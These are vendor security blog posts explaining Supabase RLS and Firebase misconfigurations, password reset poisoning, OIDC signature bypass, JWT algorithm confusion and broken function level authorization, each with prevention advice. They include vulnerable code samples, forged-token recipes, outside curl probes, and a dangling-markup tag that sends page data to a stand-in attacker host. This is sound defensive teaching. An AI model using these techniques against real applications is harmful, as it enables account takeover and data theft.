    Because nothing here is malformed. The request is well formed, the config is valid, the endpoint is documented, and the response is a clean 200. This is broken access control, the same class as broken object level authorization. A scanner can tell you a URL responded. It cannot tell you the documents in that response belonged to someone else, because who is allowed to see what is a fact about this application and nothing else. The same reasoning gap runs across the patterns in our guide to securing quickly built apps, and more of our writing on it sits under access control.

    Answering it takes a tester that learns the app’s own rules about ownership, forms an idea about where the rules do not enforce them, and proves it by fetching a document it should never have been given. As an early and encouraging signal, a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. That is exactly the kind of assumption an autonomous security researcher, built to test assumptions rather than match payloads, is meant to probe, and it is what UnboundCompute is being built to do. You can read more on our about page.

    Frequently asked questions

    What is a Firebase security rules misconfiguration?

    It is a Firestore collection, Realtime Database path, or Storage bucket left open or protected by a rule that checks the wrong thing. Because Firebase client SDKs talk to the database straight from the browser, anyone holding the public Firebase config can then read, and often write, data that is not theirs.

    Is it safe to put the Firebase config and apiKey in the browser?

    Yes, the Firebase config is meant to be public and only names your project, so it is not a secret. It is safe only when every collection, path, and bucket it can reach has Security Rules that decide what a given caller may see. The config identifies the backend, it does not authorise anything on its own.

    Why is request.auth != null not enough in a Firestore rule?

    Because it confirms the caller signed in but never checks which documents belong to them. Any logged in user can then read every other user’s data. A correct rule compares the verified request.auth.uid against a stored owner field on the specific document.

    How do I test whether my Firebase Security Rules are working?

    Query the Firestore REST endpoint from outside with no session and confirm you get permission denied. Then repeat as a signed in user asking for another user’s documents, test writes as well as reads, and check Storage buckets and any newly added collection. The rules simulator and the local emulator let you assert the same cases in CI.

    What is test mode in Firebase and why is it risky?

    Test mode is a starter ruleset that allows all reads and writes, sometimes until a fixed expiry date, so a new project works instantly during a demo. It is risky when it reaches production, because the database is then open to anyone on the internet. Replace it with rules that deny by default before you ship.

    Is a Firebase security rules misconfiguration the same as a Supabase RLS problem?

    They are the same shape of bug on different platforms. In both cases the client SDK reaches the database directly from the browser with a public key, and a single layer of access control, Security Rules or Row Level Security, is the only thing keeping callers to their own data. When that layer is open or checks the wrong value, strangers read rows or documents that are not theirs.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • Supabase RLS Misconfiguration: When Your Anon Key Reads Every Row

    Supabase RLS Misconfiguration: When Your Anon Key Reads Every Row

    A Supabase RLS misconfiguration is a database table that is reachable over the internet by anyone holding the public anon key, because Row Level Security is either switched off or governed by a policy that returns true for every caller. Supabase publishes a REST endpoint for every table in your public schema automatically, and the anon key that authorises those calls sits in your browser bundle where anybody can read it. Row Level Security is the only thing standing between a stranger and every row you own.

    What does Row Level Security actually do?

    Row Level Security attaches a filter to a Postgres table so that every query, whoever issues it, only sees rows the filter allows. It runs inside the database, below your application code. Once RLS is enabled, Postgres denies every row by default and you grant access back one policy at a time.

    Take an invented app, Acme Notes. Each user writes private notes, and the table has an owner_id column. A correct policy says: read a row only if the caller’s id matches its owner.

    alter table notes enable row level security;
    
    create policy "read own notes"
      on notes for select
      to authenticated
      using ( auth.uid() = owner_id );

    The important part is auth.uid(). Supabase verifies the caller’s JWT and hands Postgres the verified user id, and the policy compares it against the row. A caller with no session has no auth.uid(), so the comparison fails and the result is empty. Access control is now a property of the data, not of the screen that renders it.

    Why is the anon key not a secret?

    The anon key is designed to be public. It is a JWT with the role anon baked in, shipped to the browser so the client can talk to your project without a server in the middle. Anyone can open devtools, read it out of the JavaScript bundle, and use it from curl. That is fine, as long as every table it reaches has policies deciding what an anonymous caller may see.

    The service role key is the opposite. It carries the service_role claim, and that role bypasses RLS entirely by design. If it ever lands in a client bundle, a browser exposed environment variable, a mobile binary, or a public repository, every policy you wrote stops mattering at once.

    The anon key is not a vulnerability. A table that answers the anon key with all of its rows is.

    What are the four shapes of a Supabase RLS misconfiguration?

    Nearly every real case is one of four shapes, all ending in the same place: a caller reads or writes rows that are not theirs.

    • RLS never enabled. The table was created by a migration or a raw SQL statement and nobody ran enable row level security. Postgres applies no filter, the auto API serves it, and a plain GET returns the table.
    • A policy that says true. Someone hit a permission error in development, reached for the fastest unblock, and wrote using (true). RLS is on, a policy exists, and it grants every row to everyone.
    • A policy that checks nothing meaningful. It references a column the caller controls rather than an identity the database verified. A filter like using (is_public = true) is only as good as who may set is_public, and a policy keyed off a value from the request body is a filter the attacker fills in.
    • The service role key in the client. Policies are correct, thorough, and irrelevant, because the key in the browser bypasses all of them.

    Shape two is the one people ship on purpose:

    -- looks like a policy, is not a policy
    create policy "enable read access for all users"
      on notes for select
      using ( true );
    
    -- and the write side of the same mistake
    create policy "enable insert for all users"
      on notes for insert
      with check ( true );

    This is common rather than rare. A published scan of gallery projects built on the Lovable app builder reported roughly 170 of 1,645 applications exposing data through missing or inadequate RLS, and separate scanning by Escape.tech on production apps assembled with AI builders found a majority carried security issues. We have not tested those applications, and cite both as published third party work. The pattern is what matters: fast assembly puts a database on the internet in an afternoon, and access control is the step that gets deferred.

    Why is a green RLS badge not the same as secure?

    Because the dashboard reports whether RLS is enabled, not whether your policies mean anything. A table with RLS on and a single using (true) select policy shows the same reassuring state as a table locked down correctly. The badge answers “is the mechanism on,” and the question you care about is “who does this mechanism let in.”

    The gap widens as an app grows. Policies are written per table and per operation, and a table added late by a migration inherits nothing. Write policies get forgotten more often than read policies, which is how a stranger ends up able to insert rows into a table whose reads were locked down months ago.

    How do you verify RLS from outside instead of trusting the dashboard?

    Ask the API the way a stranger would: public anon key, no session, no client library in the way. The auto generated REST endpoint is the ground truth.

    curl "https://PROJECT.supabase.co/rest/v1/notes?select=*" \
      -H "apikey: PUBLIC_ANON_KEY"

    An empty array [] means the policies held. Rows coming back mean a stranger reads that table. Then repeat in three more positions, each catching a different failure:

    • Signed in as a real user, asking for another user’s rows. Add a filter such as ?owner_id=eq.SOMEONE_ELSE and confirm the result is empty.
    • Write, not just read. Send a POST and a PATCH as an anonymous caller. Read and write policies are separate objects, so testing reads alone leaves half the table untested.
    • Every table, not the ones you remember. Enumerate what the API exposes and test each one, since the risky table is usually the one added last.

    How do you prevent it?

    • Deny by default. Enable RLS in the same migration that creates the table, not later. RLS on with no policies returns nothing, which is the correct starting state.
    • Write policies against verified identity. Use auth.uid(), or a tenant id read from the verified JWT, against a column the user cannot set. Never key a policy off a value the request supplies.
    • Treat using (true) as a finding. Grep your migrations for it. If a table really is public, restrict the columns and say so deliberately, rather than letting a temporary unblock become the rule.
    • Keep the service role key server side only. No browser bundle, no client environment variable, no mobile binary. Rotate it if it was ever committed.
    • Test each policy from two hostile seats. An unauthenticated caller, and a signed in user of a different tenant. Make both assertions in CI so a future migration cannot quietly reopen the table.
    • Assume every exposed table is internet facing. Anything the auto API serves has a public URL whether or not your app calls it.

    Why do scanners miss this?

    Because nothing here is malformed. The request is well formed, the key is valid, the endpoint is documented, and the response is a clean 200. This is broken access control, the same class as broken object level authorization, its cousin broken function level authorization, and the field level variant in broken object property level authorization. A scanner can tell you a URL responded. It cannot tell you the rows in that response belonged to someone else, because who is allowed to see what is a fact about this application and nothing else. The same reasoning gap shows up in client side paywall bypass and across the patterns in our guide to securing quickly built apps.

    Answering it takes a tester that learns the app’s own rules about ownership and tenancy, forms an idea about where the database does not enforce them, and proves it by fetching a row it should never have been given. That is exactly the assumption an autonomous researcher built to test assumptions, rather than match payloads, is meant to probe. More of our writing on it sits under access control and on our about page.

    Frequently asked questions

    What is a Supabase RLS misconfiguration?

    It is a table exposed through Supabase’s automatic REST API with Row Level Security either switched off or governed by a policy that returns true for every caller. Anyone holding the public anon key can then read, and sometimes write, rows that are not theirs.

    Is it safe to put the Supabase anon key in the browser?

    Yes, the anon key is designed to be public and ships in your client bundle by design. It is only safe when every table it can reach has policies that decide what an anonymous caller may see. The service role key is different because it bypasses Row Level Security entirely and must never leave your server.

    Why is a policy of USING true dangerous?

    Because it grants every row to every caller while the dashboard still reports that Row Level Security is enabled. The badge answers whether the mechanism is on, not whether your policy means anything, so a table with that policy looks identical to one that is locked down.

    How do you test whether Row Level Security is working?

    Query the REST endpoint from outside with the public anon key and no session, and confirm the response is an empty array. Then repeat as a signed in user asking for another user’s rows, test writes as well as reads, and run the check against every table the API exposes.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • Password reset poisoning: how a genuine email hands over your account

    Password reset poisoning: how a genuine email hands over your account

    Password reset poisoning is an account takeover technique that never touches the victim’s password and never spoofs an email. The attacker asks the real application to send a real reset email to the real address, but manipulates the request so the link inside that email points at a host the attacker owns. The victim clicks a message that came from a domain they trust, and the reset token walks straight into the attacker’s server log.

    The reason this works is that a lot of applications build the reset URL out of the incoming request rather than out of their own configuration. The general mechanics of that mistake are covered in our post on host header injection. This post stays on the reset flow itself: how the token gets out, the three ways it leaks, and what actually closes each one.

    What makes this different from ordinary phishing?

    The email is genuine. That single fact is what makes this class survive the checks that stop ordinary phishing.

    A phishing email has to fake a sender, so it fails SPF, DKIM, or DMARC, or it lands on a lookalike domain that a filter can score. A poisoned reset email fails none of that. It is generated by the application, signed by the application’s mail infrastructure, addressed to the account owner, and delivered to the inbox they expect. The subject line, the branding, and the footer are all real, because the application wrote them. Only the href is wrong, and it is wrong by one hostname.

    The only forged byte in a password reset poisoning attack is a hostname in a request header. Everything else, including the email and the token, is produced honestly by the application.

    How does the reset link end up on the wrong host?

    Because the code that builds the link asks the request where the site lives. Take an invented app, Acme Notes. Its reset mailer looks like this:

    # Vulnerable: the origin comes from the request
    base = request.headers["X-Forwarded-Host"] or request.headers["Host"]
    link = "https://" + base + "/reset?token=" + token
    send_email(user.email, link)
    

    Every framework has some version of this helper. It is convenient because one code path then works in local development, staging, and production without a config change. It is also a hole, because Host and every forwarded header are fields the client writes. When the reset form is submitted with a tampered value, the mailer happily builds the link around it, and the victim receives:

    https://notes.attacker.example/reset?token=8f21ab...c907
    

    The attacker’s server does not have to do anything clever. It logs the query string, and now holds a valid, unused reset token for an account it does not own. It redeems the token against the real Acme Notes reset endpoint and sets a new password. Some attackers even redirect the victim onward to the genuine reset page afterwards, so the click looks like it worked and nothing feels wrong.

    Note that the second header matters as much as the first. Teams often validate Host at the edge and then forget that their framework prefers X-Forwarded-Host when both are present. A request with a clean Host and a hostile X-Forwarded-Host passes the front door check and still poisons the link.

    How else can a reset token leak?

    Two more paths get the token out without touching the email at all. Both fire after the victim has clicked a completely correct link.

    The Referer leak

    Once the victim lands on https://acmenotes.example/reset?token=8f21ab...c907, that full URL sits in the browser’s address bar, token included. Every request the page then makes to another origin can carry it. If the reset page loads an analytics script, a font, a chat widget, or a tracking pixel from a third party, the browser attaches a Referer header holding the reset URL. The vendor now has a live token in their logs, and so does anyone who can read those logs.

    The same thing happens if the reset page contains any link the user might click, including a support link or a logo that points off site. The token travels in the referrer of that navigation.

    The dangling markup leak

    If the reset page reflects any attacker influenced value into HTML without escaping it, an unclosed attribute can swallow the rest of the page and ship it off site. The classic shape is an injected fragment that opens a quoted attribute and never closes it:

    <img src="https://collector.attacker.example/log?x=
    

    The browser keeps consuming markup looking for the closing quote, and everything up to the next quote in the document becomes part of that URL, including a token printed in a hidden form field or a nearby href. This leaks data on pages where scripts are blocked outright, which is why a strong script policy alone does not cover it. Our post on CSS injection data exfiltration covers the same idea with a different sink: data leaving a page through a channel nobody classified as executable.

    How do you prevent password reset poisoning?

    Fix the URL construction first, then reduce what a leaked token is worth. The two layers matter independently, because the second one contains the referrer and markup paths that the first one does not touch.

    • Build absolute URLs from server configuration. Store the canonical origin as a setting, for example BASE_URL=https://acmenotes.example, and build every email link and redirect from it. No request header should ever appear in a link the application mails out.
    • Treat Host and every forwarded header as untrusted input. That includes X-Forwarded-Host, X-Host, X-Forwarded-Server, and Forwarded. Strip them at the edge unless they come from a proxy you operate, and set your framework’s trusted host list explicitly.
    • Allowlist the host at the edge. Reject any request whose host is not a known domain with a 400 before application code runs. This gives you one enforcement point instead of relying on every mailer to behave.
    • Make tokens single use, short lived, and bound to one account. Delete or mark the token the instant it is redeemed, expire it in minutes rather than days, and check on redemption that it belongs to the account being changed. A token that dies on first use is worth far less in an attacker’s log.
    • Set a strict referrer policy on reset pages. Send Referrer-Policy: no-referrer on the reset route so no outbound request carries the token bearing URL.
    • Load nothing third party on the reset page. No analytics, no fonts, no widgets, no external images. Keep the page as close to static first party HTML as you can, and add a content security policy that forbids outside origins.
    • Prefer a one time code or a POST body over a token in the query string. A value the user types, or one carried in a request body, never enters the address bar and so never enters a referrer.
    • Invalidate every session after a successful reset. If an attacker did get in, ending all existing sessions and requiring a fresh login limits how long they keep the account.
    • Watch for open redirects on the reset route. A redirect parameter that forwards the token onward reproduces the whole bug with a correct hostname, which is why open redirects deserve attention on authentication paths specifically.

    Why does this survive code review?

    Because nothing in the reset code looks wrong when you read it in isolation. The token generator uses a good random source. The email template is fine. The redemption endpoint checks expiry. The flaw lives in the gap between two reasonable assumptions: that the request tells the truth about where the site lives, and that a URL in a browser address bar stays private. Neither assumption is written down anywhere, so neither gets reviewed.

    Finding it means understanding what the reset flow assumes and then testing those assumptions one at a time, which is exactly the work an autonomous researcher built to probe an application’s assumptions is meant to do rather than firing a fixed payload list at an endpoint. You can read more about that approach on our about page.

    Frequently asked questions

    What is password reset poisoning?

    It is an account takeover technique where an attacker triggers a password reset for a victim and manipulates the request so the link in the email points at a host the attacker controls. The email is genuine, sent by the real application to the real address, so when the victim clicks it the valid reset token is delivered to the attacker.

    Why does the reset link end up on the attacker’s domain?

    Because the application builds the absolute URL from a request header such as Host, or from a forwarded host header added by a proxy, instead of from server configuration. Those headers are written by the client, so whatever value the attacker sends becomes the base of the link the mailer builds.

    Can a reset token leak even when the link is correct?

    Yes. If the reset page loads any third party resource, the browser sends the full token bearing URL in the Referer header to that vendor. An unescaped reflection on the same page can also leak it through dangling markup, where an unclosed attribute swallows nearby content into an outbound request.

    How do you prevent password reset poisoning?

    Build every absolute URL from server side configuration and never from a request header, allowlist the host at the edge, and make tokens single use, short lived, and bound to one account. Then set a strict referrer policy on the reset page, load nothing third party on it, and invalidate all sessions once a reset succeeds.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • OIDC Authentication Bypass: Trusting a Token You Never Verified

    OIDC Authentication Bypass: Trusting a Token You Never Verified

    In late June 2026 CISA added a new entry to its Known Exploited Vulnerabilities catalog: CVE-2026-48558, a CVSS 10.0 flaw in SimpleHelp, a widely deployed remote monitoring and management tool. It was already being used in the wild to plant infostealers and other malware. The root cause was not a memory bug or a clever injection. It was a plain OIDC authentication bypass: the login code read the identity claims inside a token and trusted them, but it never checked that the token was signed by anyone real. This post pulls that mechanism apart on a safe, invented example so you can spot the same shape of bug in your own app.

    What OIDC tokens actually promise

    OpenID Connect sits on top of OAuth and gives an application a way to say “this request belongs to this person.” When a user signs in, an identity provider mints an ID token. That token is a JWT, a JSON Web Token, made of three parts joined by dots: a header, a payload, and a signature. The payload carries identity claims like sub (the user id), email, and often groups for role or team membership.

    The important word is signed. The identity provider signs the token with a private key. It publishes the matching public keys at a JWKS endpoint, usually found through /.well-known/openid-configuration. A relying party, meaning the app receiving the token, is supposed to fetch those keys and verify the signature before it believes a single claim. The signature is the only thing that separates a token the provider issued from a string of JSON an attacker typed by hand.

    If you want the deeper split between proving who someone is and deciding what they may do, we cover it in authentication versus authorization. OIDC lives on the authentication side, and this bug lived there too.

    The OIDC authentication bypass, claim by claim

    Here is a decoded ID token payload for a made up admin panel we will call Acme Console. Nothing here is secret. The payload is base64url, not encryption, so anyone holding the token can read it:

    {
      "iss": "https://id.acme-console.example/",
      "aud": "acme-console",
      "sub": "9f14c2",
      "email": "tech@acme-console.example",
      "groups": ["support-technicians"],
      "exp": 1782000000
    }

    A correct login flow does two things with this token. First it proves the token is genuine by checking the signature against the provider’s JWKS. Only then does it read the groups claim and decide the session is a support technician. The vulnerable pattern skips straight to the second step. In pseudo code, the flaw looked like this:

    const parts = token.split(".");
    const payload = JSON.parse(base64UrlDecode(parts[1]));
    
    const session = provisionSession({
      email:  payload.email,
      groups: payload.groups,   // trusted as is
    });
    // parts[2], the signature, is never checked

    Read that again. The code splits the token, decodes the middle part, and builds a session from whatever it finds. The third segment, the signature that is the entire point of a JWT, is never fetched, never compared, never used. Any attacker who knows the token’s expected shape can write their own payload, set groups to the administrator group, attach any garbage after the second dot, and send it. The app reads the claims, sees an admin, and hands over an admin session. No password, no second factor.

    The token was treated as an identity document. It was never checked against the seal that makes it one. Reading a claim is not the same as verifying it.

    In SimpleHelp’s case the affected path was OIDC login configured with group authenticated login. An unauthenticated attacker could forge a JWT, sail past multi factor authentication, and impersonate any technician account, up to and including privileged administrators. The vulnerability class is catalogued as CWE-347, Improper Verification of Cryptographic Signature. Affected builds were 5.5.15 and prior, plus 6.0 prerelease builds. Internet scans found roughly 14,000 exposed SimpleHelp servers, of which about 1,000 were directly vulnerable. On an RMM tool, an admin session is the keys to every managed endpoint, which is why this became a malware delivery route so quickly.

    The cousin bug: trusting the header

    There is a related failure worth naming. Even code that does call a verify function can be tricked if it lets the token’s own header pick the algorithm. An attacker sets alg: none to claim the token needs no signature, or swaps a strong asymmetric algorithm for a weak one the server verifies with the wrong key. That is JWT algorithm confusion, and it lands in the same place as a missing check: a forged token accepted as real.

    How to spot it in your own app

    You do not need the source to test for this. You need three quick observations:

    • Alter the signature and see if login still works. Take a valid token, flip a few characters in the third segment, and present it. A correct app rejects it outright. A vulnerable one logs you in, which proves the signature is decoration.
    • Watch for a JWKS fetch. A relying party that verifies signatures has to fetch the provider’s public keys. If the app never calls the JWKS or discovery endpoint during login, it has no key to verify against, so it cannot be verifying anything.
    • Try alg: none and edited claims. Craft a token with the algorithm set to none and a changed email or groups value. If it is accepted, the app is trusting the payload and, at best, trusting the header too.

    How to prevent it

    The fix is one habit, applied without exception: verify before you trust. A safe version of the Acme Console flow does the whole check in one call and refuses the token unless everything holds:

    const { payload } = await jwtVerify(token, JWKS, {
      issuer:   "https://id.acme-console.example/",
      audience: "acme-console",
    });
    // throws unless the signature, iss, aud, and exp all check out

    Concretely, that means:

    • Verify the signature against the issuer’s JWKS before reading any claim. Fetch the published public keys and confirm the token was signed by the key the provider advertises.
    • Pin the accepted algorithms server side. Decide which algorithms you allow and reject everything else, so a token cannot talk you into none or a downgrade.
    • Validate iss, aud, and exp. A valid signature on a token meant for a different app, or one that expired last year, is still the wrong token. Confirm it was issued by your provider, for your app, and is still in date.
    • Reject unsigned tokens. There is no legitimate reason to accept a JWT with no signature in a login flow. Treat an absent or empty signature as an immediate failure.

    Every one of these is standard in mature OIDC libraries. The bugs show up when a team hand rolls the token parsing, or turns verification off during testing and forgets to turn it back on. For more on this family of failures, see our access control writing.

    The assumption that broke

    The failure was not cryptography. The math was fine and the provider signed everything correctly. The app simply never asked to see the proof. It read a claim that said “administrator” and believed it, the same way it would believe any string it was handed. This is the whole story: a token was trusted for what it said, not for what it could prove. That gap between reading a claim and verifying it is exactly the kind of assumption an autonomous security researcher that tests an application’s beliefs and backs findings with hard evidence is built to catch, before someone else forges the token first. More on how that works on our about page.

    Frequently asked questions

    What is an OIDC authentication bypass?

    It is a login flaw where an app reads the identity claims inside an OIDC token but never verifies the token’s signature. Because the claims are trusted without proof, an attacker can forge a token and be accepted as any user, including an administrator.

    Why is the signature the important part of a JWT?

    The payload of a JWT is base64url encoded JSON that anyone holding the token can read or rewrite. The signature is the only thing that proves the identity provider issued it. Skip the signature check and the claims prove nothing.

    How do you test for it?

    Take a valid token, change a few characters in the signature segment, and try to log in. A correct app rejects it outright. If login still works, the signature is not being checked. Presenting a token with the algorithm set to none is a fast second test.

    How do you prevent an OIDC authentication bypass?

    Verify the signature against the issuer’s published keys before reading any claim, pin the algorithms you accept so a token cannot request none, validate the issuer, audience, and expiry, and reject unsigned tokens.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • JWT Algorithm Confusion Attacks Explained

    JWT Algorithm Confusion Attacks Explained

    Many web apps hand you a token after you log in, and that token is what proves who you are on every later request. When the server checks that token the wrong way, an attacker can rewrite what it says and walk in as someone else. JWT algorithm confusion is the name for a family of bugs where the server lets the token itself decide how it should be verified, and that one mistake turns a signed proof of identity into a form the attacker can fill in.

    How a JSON Web Token is built

    A JWT is three parts joined by dots: header.payload.signature. Each of the first two parts is a JSON object encoded with base64url, which is just a text safe way to carry bytes. The third part is a signature computed over the first two.

    Say a fictional app called Acme Notes issues this token when you log in. Decoded, the header and payload look like this:

    header
    { "alg": "RS256", "typ": "JWT" }
    
    payload
    { "sub": "1042", "role": "user", "exp": 1893456000 }

    The header says which algorithm signed the token. Here it is RS256, which uses a private RSA key to sign and the matching public key to verify. The payload holds claims: this user has id 1042 and the role user. The signature is the part that is supposed to make the payload impossible to change, because only Acme Notes holds the private key that can produce a valid one.

    The whole point is trust. When Acme Notes gets a token back, it verifies the signature. If it checks out, the server believes the claims and lets you read your notes. Change one character in the payload and the signature no longer matches, so the token is rejected. That is the design working as intended.

    Why jwt algorithm confusion happens at all

    Here is the root cause. The alg field lives inside the header, and the header is part of the token the client sends, so the attacker controls it. If the verifying code reads alg from the token and trusts it to pick the verification method, the attacker gets to choose how their own token is checked. That is the whole bug in one sentence: the thing being verified is telling the verifier how to verify it.

    A safe server ignores what the token claims and pins the algorithm on its own side. A vulnerable server asks the token what to do. Two named variants of this show up again and again.

    The “alg”: “none” acceptance bug

    Early JWT libraries supported an algorithm literally called none, for cases where a token was already protected some other way. A token using it has an empty signature. So the attacker takes a real token, sets the header to { "alg": "none", "typ": "JWT" }, edits the payload freely, and drops the signature, keeping the trailing dot:

    { "alg": "none" }.{ "sub": "1042", "role": "admin" }.

    If the server sees none and concludes there is nothing to verify, it accepts the token and reads the claims as gospel. The attacker just changed "role": "user" to "role": "admin" with no key, no signature, and no secret. This is a plain authentication and authorization bypass.

    The RS256 to HS256 key confusion

    This one is quieter and it catches teams that think they did the right thing. RS256 is asymmetric: sign with a private key, verify with a public key, and that public key is meant to be shared openly. HS256 is symmetric: the same secret both signs and verifies.

    Now picture a verify call that reads the algorithm from the token and passes in the RSA public key as the key material. When the token says RS256, the library treats that key as a public key and all is well. But if the attacker changes the header to HS256, some libraries then treat the same bytes as an HMAC secret. The public key is not secret. The attacker already has it, or can often fetch it from a public endpoint. So they compute a valid HS256 signature over any payload they like, using the public key as the HMAC secret, and the server verifies it against that same key and accepts it.

    attacker starts from
    header  { "alg": "RS256" }
    payload { "sub": "1042", "role": "user" }
    
    attacker sends
    header  { "alg": "HS256" }
    payload { "sub": "7", "role": "admin" }
    signature = HMAC_SHA256(header.payload, RSA_public_key)

    The forged token is signed with a key everyone is allowed to have. The claims now say the attacker is user 7 with the admin role, and the server has no reason to doubt it, because the signature is valid under the only key it uses.

    The signature was never the weak point. The weak point was letting the token choose which kind of signature it was.

    What the forged claims actually buy

    Once the attacker can rewrite claims and still pass verification, the token becomes an editable identity card. A few common results:

    • Privilege escalation. Flip "role": "user" to "role": "admin" and reach pages and actions meant for staff.
    • Account takeover by id. Change "sub" from your own id to another user’s and read or change their data.
    • Longer sessions. Push "exp" far into the future so a token never expires.
    • Tenant crossing. In a multi tenant SaaS app, edit an organization id claim to see another customer’s records.

    None of this touches a password. The login step was fine. The failure is entirely in how the server decided to believe the token on the way back in. This is why these bugs sit squarely in the access control space rather than in cryptography. The math held. The trust decision did not.

    How to spot it and shut it down

    Defending against jwt algorithm confusion is short work, and none of it is optional. Each step removes the attacker’s ability to pick the rules.

    • Pin the algorithm on the server. Tell your verify call exactly which algorithm to accept, for example RS256 only, and reject anything else. Do not read alg from the token to decide. This is the single most important fix.
    • Reject “none” outright. Never allow an unsigned token in a system that relies on signatures. Most modern libraries block it by default, but confirm it rather than assume it.
    • Keep the key types apart. The code path that verifies asymmetric tokens should be physically unable to fall back to using a public key as an HMAC secret. Separate keys, separate functions, no shared entry point that switches on the header.
    • Use a maintained library and read its verify options. Ask it for an explicit allow list of algorithms. Older versions of several libraries had exactly these gaps.
    • Test the tampering directly. Send a token with alg set to none, and send an RS256 token re signed with the public key under HS256. A correct server rejects both. If either gets in, you have the bug.

    The clean rule to remember: the token is input from the client, and input never gets to choose how it is checked. The server picks the algorithm and holds the keys, and the token only carries claims that survive that fixed check.

    The assumption underneath

    Strip these two attacks down and the same shaky belief is left. The server assumed the token would honestly describe how to verify it. An attacker who controls the header simply lies. Pinning the algorithm and separating keys removes the lie’s payoff. This is exactly the kind of trust assumption an autonomous researcher is built to test, by asking what a system takes on faith and whether that faith holds when someone edits the part they were handed. An early signal we find encouraging: a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. Read more on our about page.

    Frequently asked questions

    What is a JWT algorithm confusion attack?

    It is an authentication bypass where the server trusts the token’s own alg header to decide how to verify the signature. An attacker changes alg so the server verifies a token the attacker can forge, then edits claims like the user id or role.

    What is the alg none attack?

    Some libraries accept a token with alg set to none and no signature at all. If the server does not reject it, an attacker can send an unsigned token with any claims and be trusted as any user.

    What is RS256 to HS256 key confusion?

    RS256 verifies with a public key. If an attacker switches alg to HS256, a vulnerable server verifies the token using that public key as the HMAC secret. The public key is not secret, so the attacker can sign a forged token that passes.

    How do you prevent JWT algorithm confusion?

    Pin the expected algorithm on the server instead of trusting the token header, reject none, and keep separate keys so a verification key can never be used as a signing secret.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

    Try it yourself: JWT Security Inspector lets you decode a token and check it for the weaknesses described above. It runs entirely in your browser, with no signup, and nothing you paste is ever uploaded.

  • Broken Function Level Authorization (BFLA) Explained

    Broken Function Level Authorization (BFLA) Explained

    Broken function level authorization is the bug where an API confirms that you are logged in but never checks whether your account is allowed to run the function you just called. So a normal user calls an admin action directly, and the server does it. The flaw sits at number five on the OWASP API Security Top 10 as API5:2023, and it is also called missing function level access control.

    What broken function level authorization actually is

    Most APIs get authentication right. You send a token, the server confirms the token is valid, and it knows who you are. The gap is the next step. Knowing who you are is not the same as checking what you are allowed to do. Broken function level authorization is what happens when that second check is missing on a specific endpoint, so any authenticated caller can reach a function that was meant for admins or another role.

    The word function is the important part. This class of bug is about actions and operations: promote a user, delete an order, export all invoices, change a price, disable an account. These are things the API can do. When the do side is not guarded by a role check, a low privilege account can perform work that should be off limits.

    A concrete example in Acme Notes

    Say Acme Notes is a typical SaaS app. Regular members can create notes and manage their own account. Admins can promote other members and remove users. The admin screen lives behind a nice UI that only shows up for admin accounts, and it calls this endpoint when an admin clicks Promote:

    POST /api/admin/users/1002/promote
    Authorization: Bearer <token for a normal member>
    
    HTTP/1.1 200 OK
    { "id": 1002, "role": "admin" }

    Notice the token. That is a normal member, not an admin. The frontend never shows this button to members, so the team assumed nobody without the admin UI would ever call the route. But the API is just an HTTP endpoint. Anyone who is logged in can send that request with a tool like curl. The server checked the token, saw a valid session, and ran the promote function. It never asked is this caller an admin. That single missing check is the whole vulnerability, and now a member can make themselves or a friend an admin.

    The hidden or guessed endpoint

    Admin routes often follow obvious patterns. If /api/users/1002 exists for normal reads, an attacker will try /api/admin/users/1002, /api/users/1002/promote, and /api/internal/users. They do not need documentation. They read the JavaScript bundle the app already served them, watch the network tab while a real admin works, or simply guess common names. If the guessed route runs without a role check, the fact that it was undocumented protected nothing. Security by obscurity is not access control.

    The HTTP verb variant

    The same endpoint can be safe for one method and wide open for another. A common pattern is a resource where reads are locked down but a destructive verb was never wired to a check. Consider an orders endpoint:

    GET /api/orders/8842        -> 200, returns your own order (checked)
    DELETE /api/orders/8842     -> 200, deletes it (never checked)

    The team carefully guarded the read path and forgot that DELETE on the same URL routes to a different handler. A normal user sends the delete and the order is gone, even one that belongs to someone else. Trying every method on a known path, GET, POST, PUT, PATCH, DELETE, is one of the first things a tester does, because verb by verb the checks are often inconsistent.

    How this differs from BOLA and IDOR

    People mix up broken function level authorization with BOLA, also called IDOR. Keeping them apart makes both easier to find.

    BOLA is about objects and data: can you read or change a record that is not yours. Broken function level authorization is about actions and functions: can you run an operation your role should never be allowed to run.

    Here is the split in plain terms:

    • BOLA / IDOR is object level. You are allowed to view invoices, but you change the id from your own invoice to GET /api/invoices/775 and read someone else’s. Same function, wrong object.
    • BFLA is function level. You are not allowed to promote users at all, but you call the promote function and it works. Different function, one your role should not touch.

    A quick test to tell them apart: ask whether the problem is whose data or which action. If swapping an id gets you another user’s record, that is BOLA. If calling an admin or privileged operation from a normal account just works, that is broken function level authorization. Many real APIs have both, and both belong under the same access control umbrella.

    Why the check goes missing

    This bug is rarely a typo. It comes from the way apps grow.

    • The UI is treated as the gate. If the admin button only renders for admins, developers assume the endpoint is safe. The endpoint has no idea what the UI showed.
    • Checks live in one place, not everywhere. A middleware guards /api/admin/*, then a new admin action ships under /api/users/ and slips past the rule.
    • New verbs get added later. The GET handler was reviewed months ago. The DELETE handler was added in a rush and nobody re checked the role logic.
